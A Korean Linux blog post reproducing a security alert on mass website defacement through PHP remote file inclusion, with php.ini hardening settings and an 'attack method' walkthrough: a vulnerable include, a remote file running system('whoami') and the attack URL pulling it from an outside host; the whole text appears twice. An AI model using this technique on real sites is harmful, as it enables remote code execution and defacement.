반응형
PHP,게시판 프로그램 취약점 등을 이용한 홈페이지 변조가 대량으로 발생함에 따라 "주의"경보를 발령하오니 웹서버 관리자 및 홈페이지 운영자는 관련 프로그램의 신속한 업그레이드를 하시기 바랍니다.
[ 영향 ]
원격의 공격자가 웹서버 시스템 내 임의의 파일 읽기, 악성프로그램 주입 및 실행 등이 가능하며 해당 취약점을 이용한 홈페이지 대량 변조, 자료 삭제 등을 발생시킬 수 있습니다.
[ 해결책 ]
php.ini 환경설정 파일 내용을 다음과 같이 수정
o allow_url_fopen의 값을 'on'에서 'Off'로 수정
→ 기본값은 'on'
o magic_quotes_gpc 의 값을 'On'으로 수정
→ 기본값은 'on'
o register_globals 의 값을 'Off'로 수정
→ 기본값은 'off'
[ 공격 방법 ]
공격을 이해하기 위해서는 allow_url_fopen 이라는 php 설정 파일의 옵션에 대해 알아야 합니다.
allow_url_fopen 는 php 를 설정하는 php.ini 파일에서 설정 가능하며,이에 대한 설명을 보면 다음과 같습니다.
Whether to allow the treatment of URLs (like http:// or ftp://) as files.
즉, URL (http:// 또는 ftp:// 와 같은) 의 파일의 처리 허용을 할것인지를 설정하는것이다.
웹 상의 어떤 다른 객체와 연결가능함을 뜻하는데, 이는 사용자가 특별히 지정해 주지 않는 한 기본적으로 On 으로 되어 입니다.
그렇다 함은 다른곳의 php 파일을 source 화 하여 내용을 그래도 출력하여 주는 파일의 url 을 변수화 사용가능 하며, 이를 이용해 그 파일의 내용을 적용 가능하다는 이야기가 됩니다.
예제를 보자.
target 서버를 AAA.com 서버, php 지원을 하지 않는 서버를 BBB.com 이라 합니다.
AAA.com/index.php 에는 다음과 같은 구문이 습니다.
//이 php code 의 역할은 $page 의 변수로 넘어온 값의 이름과 //.php 라는 문자열을 결합하여 a.php, b.php 등의 이름 으로 만든후, //including 시켜주는 역할을 하고 있습니다.
include ($page.".php");
....
....
?>
또 php 를 지원하지 않는 BBB.com 에는 다음과 같은 내용의 파일을 만들어 이를 a.php 라는 파일로 합니다. URL => http://BBB.com/a.php
//이는 php 를 지원하지 않는 곳에 사용할 파일로 //php 형태를 띄고 있지만 php 를 지원 하지 않기 때문에 //php 화 하지 않은채 code 형태 그대로 전송이 되어 집니다.
system("whoami");
?>
자 그럼 공격은 다음과 같이 합니다.
http://AAA.com/index.php?page=http://BBB.com/a
http://AAA.com/index.php 에서는 $page 라는 변수에 정의된 파일을 읽을것이며 이를 정의한 것은 http://BBB.com/a 이나, .php 문자열을 결합하여 http://BBB.com/a.php 의 내용을 변수로 지정하여 읽어들일 것입니다. BBB.com 은 php 를 지원하지 않기 때문에 원래의 php code 를 그대로 노출시킵니다.
이 내용은 결국 http://AAA.com/index.php 에 정의 되어 있는대로 include 시킴으로 http://BBB.com/a.php 의 내용이 그대로 php 로 실행되어 버림니다.
한가지 더 팁을 붙인다면..
php.ini 파일의 내용을 볼때, php를 지원하지 않는 apache 가 아니어도 file source code 를 그대로 받을수 있는 ftp:// 로도 가능하지 않을까 싶습니다.
테스트는 해보지 않았습니다.
[ 영향 ]
원격의 공격자가 웹서버 시스템 내 임의의 파일 읽기, 악성프로그램 주입 및 실행 등이 가능하며 해당 취약점을 이용한 홈페이지 대량 변조, 자료 삭제 등을 발생시킬 수 있습니다.
[ 해결책 ]
php.ini 환경설정 파일 내용을 다음과 같이 수정
o allow_url_fopen의 값을 'on'에서 'Off'로 수정
→ 기본값은 'on'
o magic_quotes_gpc 의 값을 'On'으로 수정
→ 기본값은 'on'
o register_globals 의 값을 'Off'로 수정
→ 기본값은 'off'
[ 공격 방법 ]
공격을 이해하기 위해서는 allow_url_fopen 이라는 php 설정 파일의 옵션에 대해 알아야 합니다.
allow_url_fopen 는 php 를 설정하는 php.ini 파일에서 설정 가능하며,이에 대한 설명을 보면 다음과 같습니다.
Whether to allow the treatment of URLs (like http:// or ftp://) as files.
즉, URL (http:// 또는 ftp:// 와 같은) 의 파일의 처리 허용을 할것인지를 설정하는것이다.
웹 상의 어떤 다른 객체와 연결가능함을 뜻하는데, 이는 사용자가 특별히 지정해 주지 않는 한 기본적으로 On 으로 되어 입니다.
그렇다 함은 다른곳의 php 파일을 source 화 하여 내용을 그래도 출력하여 주는 파일의 url 을 변수화 사용가능 하며, 이를 이용해 그 파일의 내용을 적용 가능하다는 이야기가 됩니다.
예제를 보자.
target 서버를 AAA.com 서버, php 지원을 하지 않는 서버를 BBB.com 이라 합니다.
AAA.com/index.php 에는 다음과 같은 구문이 습니다.
//이 php code 의 역할은 $page 의 변수로 넘어온 값의 이름과 //.php 라는 문자열을 결합하여 a.php, b.php 등의 이름 으로 만든후, //including 시켜주는 역할을 하고 있습니다.
include ($page.".php");
....
....
?>
또 php 를 지원하지 않는 BBB.com 에는 다음과 같은 내용의 파일을 만들어 이를 a.php 라는 파일로 합니다. URL => http://BBB.com/a.php
//이는 php 를 지원하지 않는 곳에 사용할 파일로 //php 형태를 띄고 있지만 php 를 지원 하지 않기 때문에 //php 화 하지 않은채 code 형태 그대로 전송이 되어 집니다.
system("whoami");
?>
자 그럼 공격은 다음과 같이 합니다.
http://AAA.com/index.php?page=http://BBB.com/a
http://AAA.com/index.php 에서는 $page 라는 변수에 정의된 파일을 읽을것이며 이를 정의한 것은 http://BBB.com/a 이나, .php 문자열을 결합하여 http://BBB.com/a.php 의 내용을 변수로 지정하여 읽어들일 것입니다. BBB.com 은 php 를 지원하지 않기 때문에 원래의 php code 를 그대로 노출시킵니다.
이 내용은 결국 http://AAA.com/index.php 에 정의 되어 있는대로 include 시킴으로 http://BBB.com/a.php 의 내용이 그대로 php 로 실행되어 버림니다.
한가지 더 팁을 붙인다면..
php.ini 파일의 내용을 볼때, php를 지원하지 않는 apache 가 아니어도 file source code 를 그대로 받을수 있는 ftp:// 로도 가능하지 않을까 싶습니다.
테스트는 해보지 않았습니다.
반응형
'리눅스' 카테고리의 다른 글
CentOS 에서 네임서버 설치 , 운영 (0) | 2011.02.24 |
---|---|
네임서버 설치 (0) | 2011.02.24 |
rsync 하기 (0) | 2011.01.06 |
Vi 에디터 사용법 (0) | 2007.08.21 |
리눅스 관련 사이트 (1) | 2007.06.18 |
리눅스의 부팅 순서 (0) | 2007.06.18 |
리눅스 바이러스 위험과 대책 (0) | 2007.06.18 |
리눅스에서 하드디스크를 구별하는 방법 (0) | 2007.06.18 |
리눅스의 기본 명령어 (0) | 2007.06.18 |
유닉스의 종류 (0) | 2007.06.18 |